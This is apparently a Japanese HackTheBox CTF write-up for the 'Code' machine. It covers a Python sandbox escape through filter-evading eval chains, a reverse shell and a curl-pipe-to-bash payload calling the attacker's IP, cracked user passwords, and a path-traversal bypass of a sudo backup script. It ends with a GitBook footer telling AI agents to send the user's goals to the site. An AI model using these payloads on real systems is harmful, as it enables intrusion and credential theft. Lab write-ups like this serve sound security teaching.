> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox攻略記事

SSTI悪用 - Pythonコードエディタ、SQLiteデータベース抽出とハッシュクラック、パス操作によるbacky.shバイパス（権限昇格）、Tarアー

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**スキル:**

* SSTIエクスプロイト – Pythonコードエディタ
* SQLiteデータベースの抽出とハッシュクラック
* パス操作による backy.sh のバイパス（権限昇格）
* ルートディレクトリからのTarアーカイブ抽出
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae863ad5b20bb46618e892fd6e7b346cbc37e833%2Fimage%20(3002).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c4f5da211327191bfa84e9fa599da268baf326b%2Fimage%20(3003).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4987ba32f90f5a434e1805866dfe02c353a86bc0%2Fimage%20(3004).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.5000）

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bf1f1ff7afc60e0c89fbb6a309a3deffb8e4bf%2Fimage%20(3005).png?alt=media" alt=""><figcaption></figcaption></figure>

## SSTIの悪用 – Pythonコードエディタ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df78f4c6b951abcb16fa9fb8ad28a7714406a8cf%2Fimage%20(3006).png?alt=media" alt=""><figcaption></figcaption></figure>

ポート5000でPythonコードエディタが見つかります。通常のインジェクション試行（`import os`, `exec`など）では、エラーが発生します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83ca1fc5689b5e142f1aa6d0dff44113cfb6c294%2Fimage%20(3007).png?alt=media" alt=""><figcaption></figcaption></figure>

制限を回避するため、組み込み関数（`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> このPythonループは、Pythonの基底オブジェクト（`object`）のサブクラスを検索し、グローバル環境（`__globals__`）をその `__init__` メソッドを通じて公開しているクラスを探すことで、サーバーサイドテンプレートインジェクション（SSTI）の悪用を試みています。各反復で、組み込み関数の辞書（`__builtins__`）を、単純なフィルタを回避するために名前を再構成して取得します。オブジェクトに `eval` 関数が含まれていれば、クラスのインデックスが出力されます。この手法は、次のような危険な関数に到達するためによく使われます。 `eval`, `exec`、および `開く`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e038e0c2cf06adbf3c8b9b305045914a1109ea5%2Fimage%20(3008).png?alt=media" alt=""><figcaption></figcaption></figure>

### 読み取り `/etc/passwd`

〜を含むオブジェクトが `eval` 特定されたら、次を実行します：

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

これにより2人のユーザーが判明します： `martin` および `production`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f06d01ed2adaf3a6a2918d24dceffff4ccf7e77%2Fimage%20(3009).png?alt=media" alt=""><figcaption></figcaption></figure>

### **リバースシェル**

#### ポート443で待ち受け：

```bash
nc -nvlp 443
```

#### リバースシェルスクリプト：

以下を作成: `index.html` 以下を含むファイル：

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Webサーバーを起動：

```bash
python3 -m http.server 80
```

ペイロードの注入：

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7bbf3dd49679f36c2039a5cd4f1eea73c5784a%2Fimage%20(3010).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ターミナルの操作：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec94c14738aea3b203f3d850e9903ce26766f09f%2Fimage%20(3012).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

### ユーザーでSSHアクセス `martin`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67f2bc8c767eb0c9ceaef2c77b75bf37e64849ca%2Fimage%20(535).png?alt=media" alt=""><figcaption></figcaption></figure>

次のものが見つかる: `database.db` ファイル。SQLiteで調査すると2人のユーザー（`development`, `martin`）とパスワードハッシュが見つかります。

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">ユーザー</th><th>ハッシュ</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346e8735481d0f504dce0bea3a588e002de37f19%2Fimage%20(534).png?alt=media" alt=""><figcaption></figcaption></figure>

でパスワードをクラックする [CrackStation](https://crackstation.net/)、その後接続：

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">ユーザー</th><th>ハッシュ</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d62955578b643640d117b7ac1ccaebdccd70bd40%2Fimage%20(536).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2fb8338674377ef840abebec9becb8183a39d14c%2Fimage%20(537).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh（スクリプト）

次のことがわかる `martin` 実行できる `/usr/bin/backy.sh` root権限で。

```bash
sudo -l
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d4f742e010564a96b7bc2d8be2cf72c8e36a0d1%2Fimage%20(538).png?alt=media" alt=""><figcaption></figcaption></figure>

**スクリプトは次を確認します：**

* 指定されたJSONファイルが存在するかどうか、
* 各パスが `directories_to_archive` の下にあること `/var/` または `/home/`,
* 削除します `../` シーケンスを `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "使用法: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "エラー: ファイル '$json_file' が見つかりません。"
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "エラー: $dir は許可されていません。/var/ と /home/ の下のディレクトリのみ許可されています。"
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**バイパス:**

私たちは〜を設定します `pwned.json` ファイル：

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

実行：

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1c641e0043e7e09db635533823996b0a5255b10%2Fimage%20(541).png?alt=media" alt=""><figcaption></figcaption></figure>

展開：

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6fbdcc09b630d5440e2988c30fff89dc6c9f36a%2Fimage%20(542).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-45822d4c65ca9fd910c2462539fc47bafc577c32%2Fimage%20(543).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
